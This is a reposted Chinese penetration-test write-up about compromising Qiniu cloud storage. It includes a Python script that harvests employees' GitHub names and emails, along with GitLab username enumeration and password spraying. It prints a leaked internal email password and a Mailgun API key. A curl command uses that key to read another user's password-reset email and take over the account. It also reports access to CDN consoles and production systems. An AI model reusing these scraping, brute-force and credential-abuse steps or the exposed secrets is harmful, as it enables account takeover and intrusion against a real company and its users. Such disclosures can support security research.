欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

程序员文章站 2022-04-03 17:08:04
七牛云存储某漏洞可控制关键生产系统/重置任意用户密码 0x01------寻找切入点 切入点是渗透中非常重要的一个环节,这里预想了两个切入点进行测试。 预想的切入点1:收集七牛githu...

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

0x01------寻找切入点

切入点是渗透中非常重要的一个环节,这里预想了两个切入点进行测试。

预想的切入点1:收集七牛github里的用户名和邮箱,通过社工进入员工的github

为什么要找这个切入点?根据前期的信息收集,通过github可以oauth登录到七牛自建的gitlab上,也不排除有些公司在github上建有自己的私有仓库。

很多公司的员工在github上有互相关注并且公开了自己的公司名,邮箱等信息。所以这里的测试思路就是用已知的几个七牛github用户作为入口,爬取这些用户粉丝中包含qiniu、Qiniu和七牛等关键字的用户名,再访问这些用户名的主页获取用户名、昵称和邮箱

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

脚本如下,渣代码凑合用。

#coding=utf-8

'''

poc: Get_qiniu_github_employee_info

url: http://www.github.com

'''

import requests

import sys

from bs4 import BeautifulSoup

import re

import os

reload(sys)

sys.setdefaultencoding('utf-8')

script, filename = sys.argv

# 定义网页中的关键字

key = ['qiniu','Qiniu']

# 如果github中存在某关键字,记录下来对应的用户名

for name in open(filename):

name = name.strip('\n')

req = requests.get("https://www.github.com/%s" % name)

result = req.text

for i in key:

if i in result:

srcName = file('input.txt', 'a')

srcName.write(name + "\n")

srcName.close()

# 删除重复行

fin = list(open('input.txt'))

fout = list(set(fin))

fout.sort(key = fin.index)

handleFout = ''.join(fout)

print '包含关键字的用户名' + '\n'+ '------------------------------------------------'

# 打印和记录包含关键字的用户名

print handleFout

output = open('output.txt','a')

output.write(handleFout + '\n')

output.close()

# 获取带有关键字的粉丝用户名

def getGitName():

name = open('output.txt')

print '粉丝的用户名' + '\n' + '------------------------------------------------'

for realName in name.readlines():

realName = realName.strip('\n')

for k in range(10):

html = requests.get('https://www.github.com/%s/followers?page=%d' % (realName, k)).text

nSoup = BeautifulSoup(html,'html.parser')

link = nSoup.find_all('span',class_='css-truncate css-truncate-target')

for i in range(len(link)):

for j in key:

if j in link[i]:

print (link[i-1].contents[0].attrs)['href'][1:]

qf = open('username.txt','a')

qf.write((link[i-1].contents[0].attrs)['href'][1:] + '\n')

qf.close()

print '\n'

getGitName()

# 获取该粉丝的用户名/昵称和邮箱

def getInfo():

name = open('username.txt')

print '粉丝的用户名(昵称)和邮箱' + '\n' + '------------------------------------------------'

for username in name.readlines():

username = username.strip('\n')

info = requests.get('https://www.github.com/%s' % username).text

iSoup = BeautifulSoup(info,'html.parser')

print iSoup.title.string[:-9]

reEmail = re.compile("\w+@\w+\.\w+")

email = iSoup.find(text=reEmail)

print str(email) + '\n'

qndata = open('qndata.txt','a')

qndata.write(iSoup.title.string[:-9] + '------' + str(email) + '\n')

qndata.close()

getInfo()

os.system('rm -f input.txt output.txt username.txt')

然而结果却是,一个成功登录的都没有!后来才知道,七牛的github启用了二次验证,能登录才怪!

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

预想的切入点2:暴力破解。分两步,先暴破用户名再暴破密码。

1.暴破用户名

选择gitlab作为暴破暴破用户名的入口

https://gitlab.qiniu.io

将uri中的user修改为姓名即可,返回长度大于8000的就是存在的用户。我们拿了top500的字典跑,跑出来了12个。这里还有100万姓名的字典,应该能把七牛所有的gitlab用户覆盖到70%以上

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

GET /u/user HTTP/1.1

Host: gitlab.qiniu.io

User-Agent: Mozilla/5.0 (Windows NT x.x; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Cookie: _gitlab_session=7f28ef8963364c160f0209f4bc1708dd

Connection: close

不过这里我偷了个懒,用了上次提交的漏洞里,从ITDB系统拿到的所有员工姓名。

2.暴破密码

暴破其实已经做过,但之前拿到的并不是全量的用户名,系统和字典也没有好好选择,这次有针对性的分析下。

http://group.qbox.me/ LDAP认证,无破解封用户限制

https://evm.qiniu.com/#/signin 邮箱+密码,有5次限制

密码字典其实就包括2个密码,这两个密码在实际的渗透中出现概率极高,建议各公司把这两个密码放到字典里。然后破解了两个用户,第一个用户姓名也在100万的大字典里,所以即使没从ITDB拿用户名,结果也是一样的。

[email protected]

[email protected]

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

0x02------GO!

七牛的账号认证体系有几种:

1.Ldap

https://qcos.qiniu.io Qcos系统

https://crm.qiniu.io 客户管理系统

2.二次验证(关键系统)

https://admin.qiniu.io 管理后台

https://gitlab.qiniu.io 源码

3.自带账户认证的应用

https://pm.qbox.me/ redmine项目管理

https://confluence.qiniu.io Jira/Confluence wiki系统

https://jenkins.qiniu.io/ jenkins

我们只能访问Ldap和自带账户认证系统的应用,从redmine和Jira/Confluenc找到的几个重要的系统信息如下:

1.七牛用的各家CDN的信息

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

我们登录下腾讯云的,可以管理的域名3w多个。

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

这是果壳在某家CDN的日志,打开后是用户访问图片的请求,包括了图片地址。

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

Qcos系统,应该是七牛的核心生产系统,这是七牛几个用户的

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

可以进行重启,查看配置,修改等操作

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

接下来说下重置任意用户密码。在Jenkins里的某个deploy包里,[email protected]

mail.internal.User = [email protected]

mail.internal.Password = Ub7NasP9

七牛官网有重置密码的接口找回密码

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

查看邮箱,发件箱里并没有找到发送的重置密码邮件,[email protected],[email protected]

又翻了下之前的文件,收发邮件并不是一个系统,发邮件用的是mailgun,文件中包括了发件需要的key

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

去官网看了下他们的API说明,只要发送如下的包就能获取到mailgun对某个用户发送的邮件

curl -s --user 'api:key-a7519a16c41519bdd10e08da27453e86' -G \

https://api.mailgun.net/v3/email.qiniu.com/events \

--data-urlencode begin='Fri, 29 May 2016 09:00:00 -0000' \

--data-urlencode ascending=yes \

--data-urlencode limit=25 \

--data-urlencode pretty=yes \

--data-urlencode [email protected]

获取到的发件信息如下。

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

这里还要打开那个url,用户名是api,密码就是那个key

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

然后用获取的token重置密码

 

七牛云存储某漏洞可控制关键生产系统/重置任意用户密码

 

解决方案:

能放内网的系统都放内网吧